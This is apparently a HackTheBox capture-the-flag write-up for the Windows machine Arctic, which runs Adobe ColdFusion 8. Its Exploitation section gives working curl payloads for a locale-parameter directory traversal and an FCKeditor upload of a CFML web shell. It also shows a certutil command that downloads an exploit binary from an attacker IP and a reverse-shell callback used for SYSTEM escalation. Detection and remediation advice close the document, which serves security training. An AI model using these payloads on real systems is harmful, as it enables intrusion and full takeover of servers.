HTB: Arctic

Overview

Arctic is a retired Easy-rated Windows machine running Adobe ColdFusion 8.0.1 on the built-in JRun web server, listening on port 8500. Windows Server 2008 R2 sits underneath with zero hotfixes applied. Every HTTP request takes 30 to 60 seconds to respond, which shapes the entire engagement: tooling must tolerate minute-long round trips, and interactive shells are impractical.

The standard ColdFusion 8 exploitation path uses the admin panel’s scheduled task feature to download a JSP webshell. On this target, the scheduled task URL field is broken (possibly due to the server’s Greek locale), so I needed an alternative. The chain I use combines three vulnerabilities: a directory traversal (CVE-2010-2861) that extracts the admin password hash from password.properties, an unauthenticated FCKeditor file upload that places a .txt file containing CFML markup on the server, and a local file inclusion that causes ColdFusion’s template engine to process the uploaded file as code. This last step is less commonly documented than the scheduled task approach but bypasses the need for admin panel access entirely.

For privilege escalation, JuicyPotato was my first choice given tolis holds SeImpersonatePrivilege. It failed because ColdFusion 8 runs 32-bit Java under WoW64, and the cfexecute process context cannot instantiate the COM objects JuicyPotato requires. MS10-059 (Chimichurri) targets a kernel vulnerability instead, sidestepping the COM limitation.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -A -T4 -oA scans/arctic 10.129.15.232

Port	Service	Product / Version	Notes
135	MSRPC	Microsoft Windows RPC	Standard Windows service
8500	fmtp?	JRun Web Server	ColdFusion application server
49154	MSRPC	Microsoft Windows RPC	Dynamic RPC endpoint

Nmap does not fingerprint JRun on port 8500; the fmtp? label is a guess based on the port number. Browsing to http://10.129.15.232:8500/ reveals a directory listing with CFIDE/ and cfdocs/, immediately identifying Adobe ColdFusion. The admin panel is accessible at /CFIDE/administrator/.

Component	Version
Operating System	Windows Server 2008 R2 SP0 x64 (6.1.7600)
Web Server	JRun Web Server (ColdFusion built-in)
Application	Adobe ColdFusion 8.0.1
Locale	Greek (el)

The Greek locale is relevant later: it breaks the scheduled task URL field in the admin panel, which is why the standard exploitation path fails.

Attack Surface Analysis

ColdFusion 8 exposes several default administrative paths:

• /CFIDE/administrator/: admin login panel (enter.cfm)
• /CFIDE/scripts/ajax/FCKeditor/: bundled FCKeditor with file upload
• /cfdocs/: ColdFusion documentation

The FCKeditor file manager connector accepts unauthenticated POST requests. Uploaded files land in /userfiles/file/. The connector blocks executable extensions (.cfm, .jsp, .cfc) but permits .txt. On its own, uploading a text file is low-severity. Combined with the LFI below, it becomes the code execution primitive.

CVE	Description	Status
CVE-2010-2861	Directory traversal in locale parameter	Exploited
MS10-059	Kernel privilege escalation (KB982799 missing)	Exploited
FCKeditor	Unauthenticated file upload (.txt only)	Exploited

Vulnerability Analysis

CVE-2010-2861: directory traversal with CFML inclusion

The locale parameter on /CFIDE/administrator/enter.cfm loads localisation resource files via ColdFusion’s template inclusion mechanism. The parameter value is concatenated into a file path without sanitisation, so directory traversal sequences (../) navigate to arbitrary files. A null byte (%00) truncates the appended .cfm extension.

The critical detail is what “include” means in ColdFusion. Unlike a raw file read, ColdFusion’s template engine processes CFML tags in included content. If the included file contains <cfexecute> tags, ColdFusion executes them during page rendering. This transforms a directory traversal from a confidentiality issue into a full code execution vector when the attacker controls any file on the filesystem.

FCKeditor unauthenticated upload

ColdFusion 8 bundles FCKeditor with an upload connector that requires no authentication. The extension blacklist blocks .cfm and .jsp but permits .txt. In isolation, this is a medium-severity finding: arbitrary file write with a non-executable extension. Combined with the CFML inclusion behaviour above, the .txt restriction is irrelevant because the template engine processes CFML tags regardless of file extension.

Attribute	Value
CVE	CVE-2010-2861
CVSS v3	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE	CWE-22 (Path Traversal), CWE-94 (Code Injection)
Root cause	Unsanitised locale parameter + CFML template inclusion
MITRE ATT&CK	T1190 (Exploit Public-Facing Application)

Exploitation

Step 1: Extract the admin password hash

The directory traversal reads ColdFusion’s password.properties file, which stores the admin password as an unsalted SHA-1 hash:

curl -s "http://10.129.15.232:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" \
  | grep -o '<title>[^<]*</title>'

<title>password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
rdspassword=0IA/F1WR9X3UwihR45hLaf..
</title>

The hash appears in the <title> tag because the LFI inclusion point sits within the HTML <head>. ColdFusion 8 uses unsalted SHA-1 for password storage, so the hash cracks instantly against any rainbow table or by direct comparison:

echo -n "happyday" | sha1sum
# 2f635f6d20e3fde0c53075a84b68fb07dcec9b03  -

I did not need this password for the exploitation chain below, but extracting it confirmed the traversal worked and gave admin panel access as a fallback.

Step 2: Upload CFML shell via FCKeditor

I craft a minimal CFML web shell as a .txt file. The <cfexecute> tag runs cmd.exe with a command passed via the c URL parameter. The variable attribute captures stdout for display:

cat > shell.txt << 'EOF'
<cfexecute name="cmd.exe" arguments="/c #URL.c#"
  timeout="10" variable="output"></cfexecute>
<cfoutput>#output#</cfoutput>
EOF

curl -s -F "[email protected]" \
  "http://10.129.15.232:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/"

Response code 0 indicates success. The file is accessible at /userfiles/file/shell.txt.

Step 3: LFI + CFML injection for RCE

The LFI includes shell.txt into enter.cfm. ColdFusion processes the <cfexecute> tags during page rendering, executing the command I pass in the c parameter:

curl -s "http://10.129.15.232:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/wwwroot/userfiles/file/shell.txt%00en&c=whoami" \
  | grep -o '<title>[^<]*</title>'

<title>arctic\tolis
</title>

RCE confirmed as arctic\tolis.

Step 4: Privilege escalation via MS10-059

System enumeration reveals Windows Server 2008 R2 build 7600 with zero hotfixes:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# OS Name:     Microsoft Windows Server 2008 R2 Standard
# OS Version:  6.1.7600 N/A Build 7600
# Hotfix(s):   N/A

The tolis service account has SeImpersonatePrivilege, which normally makes it a candidate for potato-family exploits. JuicyPotato failed here: ColdFusion 8 runs 32-bit Java under WoW64, and all child processes spawned by cfexecute inherit this constrained context. The COM object instantiation that JuicyPotato relies on is inaccessible from this environment.

MS10-059 (Chimichurri) targets a different vector: a kernel vulnerability in the Tracing Feature for Services that does not depend on COM. I use the x86 binary because the process context is 32-bit:

# Upload via certutil (a LOLBin download technique; no PowerShell needed)
curl -s "...&c=certutil+-urlcache+-split+-f+http://10.10.14.110:8080/ms.exe+C:\Windows\Temp\ms.exe"

# Execute (with listener on attacker: ncat -lvnp 4444)
curl -s "...&c=C:\Windows\Temp\ms.exe+10.10.14.110+4444"

C:\ColdFusion8\runtime\bin> whoami
nt authority\system

I chose certutil as the download method because it is present on all Windows versions from Server 2008 onwards and works from a non-interactive context. PowerShell was available but would have added complexity with execution policy and encoding.

Post-Exploitation

whoami /priv
# SeChangeNotifyPrivilege    Enabled
# SeImpersonatePrivilege     Enabled
# SeCreateGlobalPrivilege    Enabled

Zero hotfixes. The RTM release with no service packs or updates. Every component is beyond end-of-life: ColdFusion 8 (released 2007, EOL 2012), JRun (discontinued), FCKeditor (replaced by CKEditor in 2009), Windows Server 2008 R2 (EOL January 2020).

User flag at C:\Users\tolis\Desktop\user.txt. Root flag at C:\Users\Administrator\Desktop\root.txt.

Defensive Analysis

Detection opportunities

Phase	MITRE ATT&CK	Detection
Initial access	T1190	Web logs: locale parameter containing ../ or %00
Credential	T1552.001	Web logs: LFI targeting password.properties
Execution	T1059.003	Process monitoring: cmd.exe spawned by jrun.exe
Privilege esc.	T1068	Sysmon: executable in C:\Windows\Temp\ spawned by Java
Defence evasion	T1105	Sysmon: certutil used as download cradle

Web server logs: Requests where the locale parameter exceeds 30 characters or contains traversal sequences (../, %2e%2e) are high-fidelity indicators. Null bytes (%00) in any parameter should trigger an alert unconditionally. POST requests to the FCKeditor upload connector from external IPs are equally suspicious; there is no legitimate reason for unauthenticated uploads.

Process monitoring: cmd.exe spawned as a child of jrun.exe or java.exe is anomalous in any ColdFusion deployment. The parent-child relationship is the key signal; legitimate ColdFusion operations do not shell out to cmd.exe. Executables running from C:\Windows\Temp\ with a Java process as parent should trigger immediate investigation.

certutil abuse: certutil -urlcache -f is a well-documented living-off-the-land binary (LOLBin) download technique. Sysmon event ID 1 (Process Create) with certutil and -urlcache in the command line is a reliable detection rule with low false-positive rates.

Remediation

Priority	Action	Effort	Impact
P0	Decommission: CF8 and Server 2008 R2 are both EOL	High	Critical
P1	Apply APSB10-18 (Adobe security bulletin for CVE-2010-2861)	Low	High
P1	Firewall port 8500 from untrusted networks	Low	High
P2	Remove FCKeditor or restrict upload to authenticated users	Low	Medium
P2	Apply KB982799 (MS10-059)	Low	Medium
P3	Upgrade to current supported versions	High	Medium

No combination of patches will bring this system to a defensible state. Every component is beyond end-of-life with no vendor support. ColdFusion 8 has additional unpatched vulnerabilities beyond CVE-2010-2861 (including CVE-2009-2265, a direct RCE via FCKeditor that was patched in later versions). The correct remediation is decommission and rebuild on current software.

Key Takeaways

1. LFI in CFML templates is code execution, not file read. ColdFusion’s template engine processes CFML tags in included content regardless of file extension. Any writable location on the filesystem (FCKeditor uploads, temp directories, log files) becomes a code execution vector when combined with LFI. The same principle applies to PHP’s include() and JSP’s <jsp:include>: template inclusion is not a read operation.

2. Architecture matters for exploit selection. ColdFusion 8 runs 32-bit Java under WoW64 on 64-bit Windows. All child processes inherit the 32-bit context. JuicyPotato x64 fails with an architecture mismatch, and even the x86 build fails because COM objects are inaccessible from the constrained cfexecute context. Always check the process architecture (wmic process get processid,name,executablepath) and test COM access before committing to a potato exploit.

3. Slow targets require persistent infrastructure. Arctic’s 30 to 60 second response time means every command takes a full minute. HTTP servers must survive session interruptions. Reverse shells will timeout. Plan for latency: use file-based command execution (as I did here via the CFML webshell) rather than interactive sessions.

4. When the standard path fails, chain smaller primitives. The scheduled task approach (the “standard” ColdFusion 8 exploit) broke due to the Greek locale. Rather than fighting the broken feature, I chained three lower-severity findings (traversal, upload, inclusion) into the same result. Individual vulnerabilities that appear low or medium severity in isolation often compose into critical chains.